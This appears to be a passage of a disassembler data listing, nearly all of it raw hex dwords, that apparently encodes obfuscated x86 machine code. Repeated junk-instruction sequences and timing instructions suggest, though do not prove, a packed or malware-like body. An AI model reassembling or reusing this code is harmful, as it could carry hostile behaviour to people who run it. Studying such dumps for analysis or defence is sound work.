		dd 6A073733h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 11B826Dh,	0A831F195h, 6A006A07h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 0F1DCC357h, 61B533C3h, 0E907A81Eh, 7, 9E9F21B3h
		dd 299B3D5Ah, 0A8181D8Dh, 7C858D07h, 6A07ABEBh,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 8AC4C351h, 696C2C29h, 83845E46h, 0BD8B05C0h,	7A80845h
		dd 50F2B70Fh, 4BBE66h, 6A240489h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0C475C350h
		dd 0CFE68166h, 0B5B5313Ch, 6A07A805h, 58D0F00h,	66000000h
		dd 0D17EC781h, 0BEDE8166h, 6A006AC4h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 886DC350h
		dd 79D3FE5Dh, 29D91E5Ah, 0A80D29B5h, 9BD2307h, 0FF07A806h
		dd 0A81B3995h, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 0E9DCC8C5h, 0Dh, 80D739E1h
		dd 0BA68B082h, 7F7B282h, 3B9D8D31h, 0E907AB9Ah,	14h, 0D2829AADh
		dd 32CF400Bh, 0F3367ED4h, 26D33D62h, 2CBF24C5h,	6AD3FFh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0ACCA08C3h, 73F31D56h, 8BF6363Bh, 0A818DDBDh, 0E585FF07h
		dd 8907A80Eh, 0A82C2D8Dh, 793E907h, 0E80000h, 5D000000h
		dd 0EB86ED81h, 0DCBF07ABh, 817C156Ch, 0A80B5DBDh, 7D007h
		dd 1D860F00h, 0E8000001h, 11h, 90230BB3h, 0FAAFD314h, 950D6E77h
		dd 8D0816F6h, 1DB589B0h, 5F07A810h, 29CDBD89h, 9D8B07A8h
		dd 7A82361h, 100E381h, 0DE90000h, 73000000h, 9A1BB2BEh
		dd 0B151C820h, 715A9A55h, 850FDB0Bh, 5Ch, 83FE8B66h, 0ABE936BDh
dword_5C005C	dd 840F0007h, 0Fh, 1DF9B533h, 7BE907A8h, 66000000h, 0C7DD81BFh
					; DATA XREF: ___:off_444E7Co
		dd 0ABE93685h, 107h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 75BD8B78h, 0E907A832h
		dd 46h,	995CC681h, 0BD8B6440h, 7A809E1h, 0E93685C7h, 7ABh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 8E2C23C3h, 645665C7h, 0BE2CC42Eh,	969EBD8h
		dd 25A9BD89h, 9D8D07A8h, 7A82361h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 0F3C35141h,	17A159B7h, 8810F82h
		dd 56000000h, 0BA9B58Bh, 815F07A8h, 0FFFEFF23h,	0FA8B66FFh
		dd 6ADB8C66h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 0B7EFC357h, 5B295335h,	1EDF32F0h
		dd 0F04C3F6h, 6984h, 0FFF98B00h, 0A8265195h, 0AD8D2907h
		dd 9007A825h, 68B0Fh, 8D0F0000h, 0
		dd 0F525050h, 1588h, 10E900h, 0EDA20000h, 625408F7h, 21B9F048h
		dd 7656E725h, 310FB683h, 7CBF6653h, 585A5EA2h, 56006A90h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0C22879A1h, 3A59D89h, 0B6E907A8h, 29000003h,	0A81A558Dh
		dd 6A00B007h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 3B2CC355h, 6A70E699h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 0F9FCC357h, 0E4F28B6Eh, 5E971h, 27890000h, 0F7A1F34h
		dd 0BD29D8B6h, 7A82C5Dh, 6BAh, 0ABBE6600h, 6AC38BF4h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 83F0C352h, 0BD8B5048h, 7A827C9h, 4E8C15Fh, 66F8BF0Fh
		dd 6AE2F7h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 326BF1C3h, 0D82B04F8h, 52506050h,	0D1FA78BAh
		dd 5A310F73h, 50B96658h, 1C8961EBh, 57006A24h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 2C7D02BDh
		dd 39B58956h, 5E07A835h, 0B5DB5FFh, 6A07A8h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 800F36C3h
		dd 6, 34298D89h, 95FF07A8h, 7A80D21h, 189D8529h, 0BF0F07A8h
		dd 6A00B0FBh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 0C249C357h, 52F8D0C6h,	11830F2Bh
		dd 60000000h, 0E9F18B66h, 7, 67242D03h,	6134B14Eh, 6A70E6h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 4D5ACEC3h, 99D8962h,	0E407A817h, 50006A71h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 0E2F02B76h
		dd 3CAA60DBh, 0F6830F61h, 0F000001h, 183h, 0B60FF900h
		dd 57006AD8h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 0A9B39A64h, 6BA34h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 7F2047C3h
		dd 4D3DB53h, 6673F2EEh,	0C38BF38Bh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 89C35242h, 8B5D1C9Eh, 0A82895B5h
		dd 4E8C107h, 0C3BF0F60h, 66611AB3h, 6AE2F7h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0D4D2F5C3h
		dd 8722CA5Eh, 0B58BA660h, 7A826F5h, 0B52BD82Bh,	7A82AE1h
		dd 50006A58h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 0D8E669CCh, 8949008Dh, 0A808198Dh, 0FD82B07h
		dd 10888h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1904h, 0C3514100h, 0E4E801DEh, 0F681EF7Ah, 63B9322h
		dd 7E9h, 979DFB00h, 0CE52EDDFh,	7B9h, 91BD8B00h, 8307A807h
		dd 6A00C1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 384E7CC3h, 0B5898267h, 7A80521h, 860FD93Bh
		dd 99h,	0D98C66F9h, 2B21B58Bh, 0C1F607A8h, 84840F04h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 0CA5AC355h, 0B8C0Fh, 6E90000h, 18000000h
		dd 5E1FB864h, 5195FFA3h, 6007A826h, 0BB82D080h,	0ABE10E2h
		dd 8E961h, 0A2740000h, 9344D550h, 6A5B9FA7h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 2BC8C351h, 0F7BF0FC3h, 8343Dh, 0C860F00h, 66000000h
		dd 0E91C0FBEh, 5, 8BFA8B66h, 8BC38BC0h,	0FFBF0FD8h, 286985C7h
		dd 8FD107A8h, 6A18BDh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 0A2361FC3h, 68D0Fh, 0EF810000h
		dd 0CB515FEh, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 1AAD7FC3h, 0B58BD5D3h, 7A8309Dh
		dd 0B5DBD81h, 7D007A8h,	850F0000h, 2Ch,	85FFF18Bh, 7A80B5Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0E6C35343h
		dd 8D010A77h, 7A825D9h,	0B5DB5FFh, 6A07A8h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 2DBE0DC3h
		dd 0FF5C57FCh, 0A80D2195h, 21B58907h, 9007A827h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 6EC35242h, 0DAB6C610h
		dd 0BD8BAF94h, 7A80CF5h, 0F4EABF66h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 9AC35545h, 8BCA91D8h, 8E7B4329h
		dd 7DBD8BD4h, 6607A80Ah, 0DAEAC681h, 9D89F28Bh,	7A80581h
		dd 0ADBD8Bh, 816607A8h,	6AEDF1DEh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0B113C355h
		dd 8B666047h, 0A80511B5h, 6D858907h, 6A07A831h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 2DF4C357h, 0BF66BFBFh, 0B70F313Fh, 0B9B58BF3h, 8107A832h
		dd 0E88F0AC6h, 52006A30h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 0ADCA6BE9h, 7C4F48F7h
		dd 0AE9C93Bh, 0AA000000h, 16454264h, 6600049Dh,	0F894E983h
		dd 6AFFFFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 0B90B51C3h, 5AD351FAh, 0E09DEFBFh, 0EBC18B79h
		dd 4, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 25858DB2h, 8B07A804h, 0A808B5BDh
		dd 9E89007h, 5D000000h,	130EDE52h, 4FCA3D83h, 5E860h, 974B0000h
		dd 5B368ECDh, 5F61C38Bh, 0FDBF6650h, 0BE66902Bh, 6A1C15h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 45C35242h
		dd 0AF2D24C3h, 6AF78B74h, 55B52300h, 8D07A80Ch,	0ABF43985h
		dd 0F5BBF07h, 958939B5h, 7A834DDh, 8905C083h, 0A823F98Dh
		dd 0BB605007h, 51D7428Eh, 89611CB6h, 7E92404h, 0F7000000h
		dd 6FFD4DB7h, 6A226Ch, 6A006Ah,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 3403FBC3h, 0D333920Bh
		dd 0BD8B885Ch, 7A81511h, 1B3995FFh, 0B50907A8h,	7A80E3Dh
		dd 23F98589h, 9D8D07A8h, 7AB9A3Bh, 0E9FAB70Fh, 0Bh, 28EC2B22h
		dd 8770B8FFh, 0FF8D329Eh, 898589D3h, 0FF07A80Ah, 0A80EE585h
		dd 9CC9BE07h, 2AE978DEh, 0E8000008h, 0
		dd 43ED815Dh, 6A07ABF4h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 7235C351h, 1BDB1B79h
		dd 8B18800Dh, 0A804F1B5h, 5DBD8107h, 0D007A80Bh, 0F000007h
		dd 11286h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 0FE0F62C5h, 0C2D223ADh, 59B50941h
		dd 8B07A823h, 0A805019Dh, 0E38107h, 8B000001h, 0A80F21BDh
		dd 0FDB0B07h, 6585h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 6E3A9AB5h, 0D5B5015Ah
		dd 8307A804h, 0ABF318BDh, 840F0007h, 5,	3DE9h, 1885C700h
		dd 107ABF3h, 0E9000000h, 2Eh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 13C35242h, 85C79AC3h, 7ABF318h
		dd 0
		dd 23B58529h, 9D8D07A8h, 7A80501h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 8CC35747h, 9E999h, 0E8770000h
		dd 0AFB9460Ah, 8174D5C0h, 0FFFEFF23h, 56006AFFh, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
		dd 0C283E288h, 669463C8h, 820FDB8Ch, 0
		dd 3121BD23h, 0C3F607A8h, 70840F04h, 6A000000h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 84EBC350h, 6232A5F0h, 0BF6670C6h, 95FFAA64h,	7A82651h
		dd 10E9h, 5C062C00h, 38CB444Dh,	0F0C21B7Ah, 7D309FB3h
		dd 4895082h, 57006A24h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 0B6785661h, 0A7E4054h, 2CF58529h
		dd 0E9F807A8h, 44Bh, 1321BD8Bh,	0B007A8h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Ch, 0C0C35747h, 6E37A974h
		dd 1143DFCDh, 70E6F28Bh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Ah, 0FFC35040h, 7FF2A20Eh, 71E4F475h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 3EC35343h, 0AEE61765h
		dd 66144765h, 0F652ABEh, 0E960D8B6h, 7,	0D0B5E888h, 0F2BD531h
		dd 685h, 870F00h, 61000000h, 6BAh, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 2D26ABD6h
		dd 6894AD29h, 7C4BE66h,	6AC38Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 920DEDC3h, 910D92B5h
		dd 8E89725h, 6B000000h,	0E110DFE4h, 0E9A43191h,	13h, 2247D36Ch
		dd 94B4E5E2h, 7EC397D1h, 175A382Bh, 5F621C75h, 2B04E8C1h
		dd 0A83329BDh, 0E2F76607h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 68C35242h, 99D8B60h, 6107A832h, 0BE66D82Bh
		dd 0E68145ECh, 210B7DD6h, 11E993h, 0D8D50000h, 0AD53B9D2h
		dd 0CE5304E6h, 0BD00F74h, 508E4D4Eh, 0FF78B93h,	0A8Ch
		dd 9D896000h, 7A80FD1h,	0FF61DA8Bh, 0A80B5DB5h,	0A9BD8B07h
		dd 0FF07A825h, 0A80D2195h, 199D8907h, 0B007A81Bh, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 0E69C2A82h, 0BE66FC70h, 71E4BA9Bh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 5DC35343h, 4DF57707h, 0A4E0ECC3h
		dd 3830F1Bh, 66000000h,	613CFE8Bh, 25D830Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0BD8BF5C3h, 7A82C6Dh, 6AD8B60Fh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 3E53C353h
		dd 812417C3h, 0BEB93D00h, 63423F3Ah, 1E05B531h,	6BA07A8h
		dd 0E8000000h, 10h, 95F7D04Bh, 0FA54C0A8h, 0D52B31AEh
		dd 851D88ADh, 7D68166h,	8BF55E90h, 4E8C1C3h, 821B58Bh
		dd 10E907A8h, 0A1000000h, 0F0EF1AD1h, 0A7D421E6h, 0C25AD506h
		dd 66DE84F9h, 9D89E2F7h, 7A80041h, 0B503D82Bh, 7A82851h
		dd 0E958F78Bh, 13h, 0BBA0417Fh,	0AEB28392h, 57D7D639h
		dd 916F9890h, 89937217h, 0A8146D95h, 0FD82B07h,	18E88h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 0B99B098Eh, 7, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 5BC35545h, 5E982h, 164A0000h
		dd 83473C34h, 6A00C1h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 8BE7FEC3h, 0A80BB9BDh, 0FD93B07h
		dd 11686h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 13E92A9Ah, 6000000h, 0C5912D1Eh
		dd 0B4C8AD15h, 72E0AA49h, 0D6748776h, 8C6698E4h, 50006AD9h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0CD1E267Ah, 1EB2130Fh, 29571C21h, 0A8310D9Dh, 0B5895F07h
		dd 7A82E39h, 0F04C1F6h,	9A84h, 0B9952900h, 8107A832h, 6F88E3CEh
		dd 5195FF5Ch, 907A826h,	0A82955B5h, 6A5B07h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0B17CCDC3h
		dd 0E585891Ah, 2B07A82Dh, 56006AC3h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 36E8B32Bh
		dd 9A0FDEB5h, 8B669F6Ch, 0FB8B66FBh, 8343Dh, 24860F00h
		dd 60000000h, 0AD9D8BF9h, 6107A808h, 1EE9h, 11E900h, 9EF80000h
		dd 0ADF3B73Dh, 9D5D6186h, 0F76359D9h, 8BEE24AEh, 0D9B589C0h
		dd 8B07A824h, 60D88BC3h, 2A858D03h, 0D18B07A8h,	6185C761h
		dd 3F07A823h, 0BE119B47h, 5A1C075h, 81C08BF5h, 0A80B5DBDh
		dd 7D007h, 35850F00h, 66000000h, 89198ABEh, 0A827B99Dh
		dd 5D85FF07h, 6A07A80Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 0D7F9C350h,	43A69B40h
		dd 6892DE0Eh, 0B5DB5FFh, 6A07A8h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 86BA24C3h, 83258570h
		dd 1449B58Bh, 95FF07A8h, 7A80D21h, 0FE8h, 8DC89C00h, 0FDE634F0h
		dd 6C48EE7Ah, 0E298AD65h, 12E8h, 92765700h, 70F458B0h
		dd 0B43AC883h, 57A32A73h, 8BD6022Ch, 0A81945B5h, 905E5E07h
		dd 6AF28Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 879C07C3h, 6D05FB0Ah, 91B58B57h, 5E07A819h
		dd 7E8h, 8DBAF500h, 0D97379DAh,	0C53B28BEh, 95095F75h
		dd 7A82549h, 8BD78166h,	5E8E4h,	0FE210000h, 297B00CFh
		dd 0A82A25B5h, 13E85F07h, 1D000000h, 1C40C24Bh,	0F7A30A5Fh
		dd 3A468D6Eh, 9B5A6402h, 15E27D0h, 0A834018Dh, 0BD8B5607h
		dd 7A82851h, 52006A5Eh,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 587E1EB9h, 6C004A02h, 0B58B8BDDh
		dd 7A804ADh, 8BF2B70Fh,	0A81D5DB5h, 89F78B07h, 0A82C61B5h
		dd 12E807h, 0C2F10000h,	1EA03EDEh, 0D01DF5C7h, 0E9D84269h
		dd 0DE525D54h, 1E69BD8Bh, 858907A8h, 7A821FDh, 6770BE5Fh
		dd 6A59B2h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 0ECF0D5C3h, 10810F50h, 0E8000000h, 0Ah, 60074013h
		dd 51130426h, 5E5FFFEAh, 0FFF7E2E9h, 519D89FFh,	3107A80Bh
		dd 0A8284DB5h, 89C18B07h, 0A82DC585h, 4EB07h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 3A4AC350h, 0AC96643Eh, 2DB58B82h,	0E807A82Eh
		dd 5, 0A9F794A2h, 858D5E40h, 7A80425h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 0B4C35646h,	0F8680EA5h, 0E478C43Ah
		dd 880F5090h, 0Bh, 8B665250h, 51310FF7h, 90585A5Fh, 9D58529h
		dd 830F07A8h, 0
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 33BE04C3h, 6A1D762Eh, 0CF816600h,	858DEF9Dh
		dd 7ABFE47h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Dh,	0F8C35545h, 679D0B55h, 0CF8CAD11h, 5C0834Eh, 41D0BBBEh
		dd 0AE8903Fh, 84000000h, 0AFEC00CAh, 179E521Dh,	52505199h
		dd 585A310Fh, 50505E5Eh, 0F88B6652h, 0BF66310Fh, 585ACE94h
		dd 52006A90h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 839E26FAh, 33683F5Eh, 6AF18BA1h,	0C8BF6600h
		dd 8B006A3Ch, 3995FFF0h, 6607A81Bh, 3CC5E781h, 9A3B9D8Dh
		dd 6A07ABh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 42D2A3C3h, 9E873h, 31C0000h, 23DDD4E7h, 8B0EF302h
		dd 0A82471BDh, 0D3FF5E07h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 0B4C35343h, 0FF186E68h, 0A80EE585h, 51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 12E9C7h, 95C40000h, 6115A1A7h, 7A24BA52h, 1F130A2Fh
		dd 0C58FF803h, 855E9h, 0E800h, 815D0000h, 0ABFE51EDh, 75BD3307h
		dd 8107A828h, 0A80B5DBDh, 7D007h, 76860F00h, 6A000001h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 8B85C352h, 0EF3886B2h, 89EEF56Eh,	0A82D499Dh
		dd 519D8B07h, 6A07A813h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 815DC350h, 100E3h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 40F87EBEh, 13B5BDB2h, 267D8D01h,	0DB0B07A8h
		dd 9F850Fh, 8D890000h, 7A81DEDh, 0FC72BD83h, 0F0007ABh
		dd 2D84h, 19BD8900h, 0E907A81Bh, 90h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 49C35343h, 27B1BD8Bh, 85C707A8h
		dd 7ABFC72h, 1,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	79C35141h, 0CDBD89EEh, 6007A826h, 0BD8BF38Bh, 7A831D9h
		dd 0E1952961h, 0E907A81Ah, 2Ch,	0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 0AC35242h, 7285C763h, 7ABFCh
		dd 66000000h, 0FCB1C781h, 13519D8Dh, 0B58B07A8h, 7A82ACDh
		dd 0FEFF2381h, 6AFFFFh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 0A0CEA7C3h, 0EE9FD0Eh, 5A000000h
		dd 12AF5BBEh, 90435020h, 0B6DA88F4h, 0DB8C6646h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 4BC35141h, 56B3996Eh
		dd 4C3F60Ah, 1A840Fh, 0BF660000h, 95FF2DAFh, 7A82651h
		dd 0ED89E781h, 89501FC6h, 0B58B2404h, 7A8155Dh,	47AE9h
		dd 0B0F800h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	49C35343h, 52F3A68Bh, 0E68DB984h, 71E4F970h, 658D3153h
		dd 5E07A828h, 6AD8B60Fh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 3F96C356h, 0A02F7090h
		dd 14E9C6D9h, 0C3000000h, 0EC1869D6h, 0B222F7E7h, 0EE410557h
		dd 0BA3FA0A5h, 0BA14460Fh, 6, 6AC38Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 548F81C3h
		dd 89F77CABh, 0A828F98Dh, 4E8C107h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 8DC35646h, 66F82C60h, 44BFE2F7h
		dd 2B61C27Ch, 0E1C781D8h, 937D142Eh, 0C4ACBF66h, 0B8666050h
		dd 52501C4Bh, 5250310Fh, 585A310Fh, 9361585Ah, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 93C35747h, 0C7F88B9Bh
		dd 0F7819B3Fh, 214959EDh, 0B5DB5FFh, 0F95707A8h, 2195FF5Eh
		dd 6A07A80Dh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 51A2C352h, 763AD26Bh, 6A00B0h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 13E8F3C3h, 15000000h, 0F08240A8h, 1DD274F3h,	6F6A3657h
		dd 711C1213h, 0F88B9851h, 800F575Fh, 6,	349D9529h, 0E65F07A8h
		dd 12E870h, 47620000h, 0E683A65Bh, 13F65802h, 1CD4284Bh
		dd 58FB5F93h, 38E0Fh, 0BF0F0000h, 71E45FFAh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0B6C35646h, 58401E43h
		dd 2D1D6024h, 4BBF664Eh, 0F613C69h, 29A83h, 0BF666000h
		dd 0FB8B17BDh, 0D8B60F61h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 0EBC35141h, 8A81CE76h, 0E9831CE4h, 5
		dd 9807E8EAh, 6BA5Ch, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 0BD8BCCC3h, 7A804E1h
		dd 0CE9h, 0C27EC800h, 5D7AC2B5h, 0B0400628h, 6AC38B06h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 5FE9C350h, 68F0Fh, 85090000h, 7A826A1h, 6A04E8C1h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 0F856C352h, 81E2F766h, 0BC4FA4DEh, 6AD82B76h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 76CDC355h, 81662BA8h, 58872FD6h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 29C35747h, 219D899Fh
		dd 2B07A82Ah, 84880FD8h, 6A000001h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0B995C353h
		dd 7, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h, 1Ah
		dd 1FC35646h, 456347FAh, 840FF8ADh, 6, 14D5BD8Bh, 852907A8h
		dd 7A821EDh, 6A00C183h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 0DD21C356h,	0B58B632Eh
		dd 7A81585h, 860FD93Bh,	0FFh, 0FE8h, 0F0CE7700h, 2DDC1C0Fh
		dd 5AEBE3B7h, 0E989AA78h, 6840Fh, 850F0000h, 0
		dd 0D98C665Fh, 0F6F1B70Fh, 840F04C1h, 0C7h, 3049BD8Bh
		dd 95FF07A8h, 7A82651h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 0EAC35545h, 0ED08F60Fh, 6A5B95h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0A681D2C3h, 10D1B58Bh, 0C32B07A8h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 5FC35646h, 22FECA22h, 8343Dh
		dd 48860F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 7BE5C355h, 2CE988D8h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 0C2ABC351h, 4B3E0B60h,	8BF08BB5h
		dd 6DB58BC0h, 8B07A835h, 6AD88BC3h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0E735C357h
		dd 0CC942126h, 65BD8B51h, 5E07A80Eh, 50185C7h, 0A19307A8h
		dd 0BF6676B5h, 0C08B593Dh, 14E957h, 0EE6F0000h,	0ADA3482Bh
		dd 9BDA77B6h, 0F5C8F450h, 0B84DA818h, 815F13CEh, 0A80B5DBDh
		dd 7D007h, 8850F00h, 0FF000000h, 0A80B5D85h, 0FFF78B07h
		dd 0A80B5DB5h, 860F6007h, 6, 890Fh, 85230000h, 7A823CDh
		dd 2195FF61h, 6A07A80Dh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 479C351h, 860FC8ACh
		dd 0
		dd 3D858990h, 8B07A826h, 8E8F2h, 658C0000h, 5AD24B8Dh
		dd 13E8DA39h, 23000000h, 0C025B075h, 0E4C098ABh, 82DD2DD2h
		dd 0EC430C2Bh, 0B58B9560h, 7A83095h, 80605F5Eh,	5A5642D0h
		dd 8E9h, 6A4F8600h, 33A2E91Eh, 11E961E3h, 0D6000000h, 2DC1A3FCh
		dd 7AE3388Ah, 0C6F00F94h, 0CE5DD816h, 315B58Bh,	0DE807A8h
